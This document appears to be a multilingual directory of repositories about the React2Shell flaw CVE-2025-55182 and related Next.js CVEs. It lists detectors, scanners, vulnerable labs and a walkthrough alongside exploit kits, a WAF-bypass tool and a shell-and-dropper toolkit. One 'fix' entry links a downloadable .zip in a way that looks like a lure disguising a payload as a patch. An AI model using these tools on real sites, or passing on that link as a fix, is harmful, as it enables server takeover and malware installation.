CVE-2025-55182-Exploit-extension

Детектор отпечатков RSC Расширение Chrome для обнаружения отпечатков React Server Components RSC и Next.js App Router на веб-страницах. ⚠️ Важное уведомление Это расширение предназначено только для образовательных целей и исследований в области безопасности. Оно включает функциональность, которая...

react2shellVulnApp

React2Shell Vulnerable Banking Application Lab Deliberately vulnerable banking app for CVE-2025-55182 React and CVE-2025-66478 Next.js to learn, detect, and safely exercise React2Shell. Runs unpatched React 19.0.0 and Next.js 15.0.3. Overview Fictional SecureBank built with Next.js App Router and...

CVE-2025-55182-bypass

CVE-2025-55182 Обход заголовка Обход заголовка Next-Action для CVE-2025-55182. Достигает React RSC RCE без характерных заголовков, обходя правила WAF. Ключевое открытие Заголовок Next-Action НЕ требуется для эксплуатации...

CVE-2025-55182-Exploiter

🛡️ RSC Sentinel Pro 고급 React Server ComponentsRSC 감사기 및 CVE-2025-55182 익스플로잇 툴킷 🔥 탐지. 지문인식. 익스플로잇. Next.js App Router RSC 취약점, 특히 CVE-2025-55182RSC 역직렬화 RCE를 대상으로 하는 보안 연구원 및 버그 헌터용 Chrome 확장 프로그램입니다. ✅ Dify , Vercel 배포 앱 및 기타 RSC 활성 사이트에서 작동 ✅ 제로 가짜 양성false positive — 실제 대상에서 입증됨 ✅ 연구원이 연구원을 위해 제...

React2Shell-Kingdom

React CVE-2025-55182 취약점 데모 프로젝트 ⚠️ 보안 경고 이 프로젝트는 React Server Components 19.1.1의 심각한 RCE 취약점CVE-2025-55182 / React2Shell을 시연합니다. 교육 및 보안 연구 목적으로만 사용하세요 절대 프로덕션 환경에 배포하거나 신뢰할 수 없는 네트워크에 노출하지 마세요 격리되고 통제된 환경에서만 실행하세요 테스트 전에 적절한 권한을 받았는지 확인하세요 개요 이 프로젝트는 React Server Components 19.1.1의 심각한 원격 코드...

HTB-Reactor-Linux-Machine-Walkthrough

HTB: Reactor !CAUTION Предупреждение о спойлерах. Это полное прохождение, включая флаги. Если вы хотите решить машину самостоятельно, закройте это сейчас и вернитесь, когда застрянете. Информация о машине Поле| Подробности ---|--- Название| Reactor ОС| Ubuntu 24.04 LTS Noble Сложность| Medium CVE...

CVE-2025-66478-Exploit-Poc

Next.js CVE-2025-66478 PoC 英文 | 韩文 此仓库包含用于重现和研究 Next.js CVE-2025-66478 漏洞的概念验证 PoC。它由一个易受攻击的 Next.js 应用程序和一个用于测试漏洞的 Python 利用脚本组成。 什么是 CVE-2025-66478？ 这是一个在 Next.js Server Actions 处理过程中发生的远程代码执行 RCE 漏洞。 关键要点： 根本原因 ：RSC（React Server Components）Flight 协议中的不安全反序列化 。 攻击向量 ：通过 proto 属性进行原型污染 。 漏洞摘要...

rsc-security-auditor

🛡️ RSC 보안 감사 도구 Next.js 및 React Server Components 스택에서 심각한 보안 취약점CVE-2025-66478, CVE-2025-55184을 탐지하세요. 🚨 긴급: 최근 공개된 정보2025년 12월에 따르면 React Server Components에서 심각한 DoS 및 RCE 취약점이 발견되었습니다. 이 도구는 package.json을 즉시 감사하는 데 도움을 줍니다. ⚡ 기능 🔒 프라이버시 우선: 100% 클라이언트 사이드. package.json 데이터는 브라우저를 절대 벗어나지 않습니다. ...

fix-react2shell-next

🚀 fix-react2shell-next - 당신의 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 앱의 취약점을 수정하세요 📥 지금 다운로드 📝 개요 fix-react2shell-next는 당신의 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 또는 React RSC 애플리케이션...

Nextjs_Exploit_Tool

Next.js RSC RCE Exploit Tool CVE-2025-55182 프로젝트 소개 CVE-2025-55182는 Next.js 서버 컴포넌트RSC 처리 체인에 존재하는 고위험 취약점으로, 공격자는 특수한 multipart/form-data 요청과 위조된 RSC 응답 블록을 구성하여 서버 측에서 임의의 JavaScript 코드가 실행되도록 유도할 수 있으며, 최종적으로 process.mainModule.require'childprocess'를 통해 원격 코드 실행을 달성합니다. 이 프로젝트는 이 취약점 악용 체인을 그래...

rsc_detect_CVE-2025-55182

что это Для CVE-2025-55182 и CVE-2025-66478 Security Response: это не POC, а просто способ узнать, использует ли сайт React Server Components RSC или Next.js. Определение функции для обнаружения, использует ли веб-сайт React Server Components RSC или Next.js Скрипт для обнаружения, использует ли...

Torito-R2S

Torito React2Shell Сканер и эксплойт-инструмент CVE-2025-55182 / 66478 Сканер, ориентированный на обнаружение, для целей Next.js RSC с опциональными режимами подтверждения PoC и эксплойта/оболочки. Используйте только на системах, которые вы уполномочены тестировать. Требования Python 3.9+ pip...

CVE-2025-55182-poc

CVE-2025-55182 React Flight 协议漏洞，允许通过块引用进行原型链遍历。针对 bullshit-react-project 进行测试。 检测 以下内容略有过时，因为实际 PoC 现已公开。 Vite RSC ：bash ./vite-detect.sh https://example.com Next.js ：bash ./nextjs-detect.sh https://example.com 或者同时检测两者，只需运行 bash ./detect.sh https://example.com 两个脚本都接受可选的超时参数（Vite 默认 3 秒，Next.js...

CVE-2025-55182-React-RCE

CVE-2025-55182-React-RCE 프로젝트 소개 및 원리 전 세계 최초로 RSC 기능을 기반으로 WAF 탐지를 우회할 수 있는 CVE-2025-55182 React Server RCE 취약점 EXP. The world’s first CVE‑2025‑55182 React Server RCE exploit that can bypass WAF detection by leveraging RSC-specific features. React Server 기본 환경에서 RCE를 구현합니다. 새로운 독창적인 EXP를 추가하여 WA...

Quickcheck-CVE-2025-55182-React-and-CVE-2025-66478-Next.js

GitHub CVE Scanner 🔍 Quickly scan GitHub repositories for critical React and Next.js RSC vulnerabilities Overview A browser-based scanner that checks all GitHub repositories for known security vulnerabilities in React Server Components:...

React2Shell

🔐 React2Shell - Набор инструментов для RCE через загрязнение RSC в Next.js Этот инструмент на Python эксплуатирует загрязнение прототипа React Server Components RSC в Next.js и цепочку гаджетов React.lazy-1 для полного доступа RCE, включая интерактивную god shell, загрузку файлов дроппер...

RSC-Detect-CVE-2025-55182

🔎 RSC-Detect — Детектор React Server Components Легковесная утилита для обнаружения React Server Components и приложений Next.js 🎯 Назначение RSC-Detect — это простой, узконаправленный инструмент для выявления сайтов, использующих React Server Components RSC и фреймворк Next.js. Он полезен для:...

rschunter

RSC Hunter Мощный многопоточный сканер и эксплойт для уязвимостей React Server Component RSC. Этот инструмент предназначен для выявления и эксплуатации уязвимостей RCE в реализациях RSC, поддерживая различные методы обхода и стратегии. Примечание : Из-за огромной сложности поддержки полноценной...

CVE-2025-55183_POC

CVE-2025-55183 - Next.js RSC 서버 함수 소스 코드 노출 Next.js React Server ComponentsRSC의 소스 코드 노출 취약점입니다. 취약한 서버 함수로 전송된 악의적인 HTTP 요청은 인수가 문자열화될 때 모든 서버 함수의 소스 코드를 안전하지 않게 반환할 수 있습니다. 참고 작성자 : X/Twitter의 AndrewMohawk 실습 환경 설정 root@kitploit: git clone https://github.com/AndrewMohawk/RSC-sample-app.git cd...

CVE-2025-55182

CVE-2025-55182: Уязвимость небезопасной десериализации React Server Components Обзор CVE-2025-55182 также известная как React2Shell — это критическая уязвимость небезопасной десериализации, обнаруженная в React Flight Protocol, затрагивающая полезные данные payload React Server Components RSC...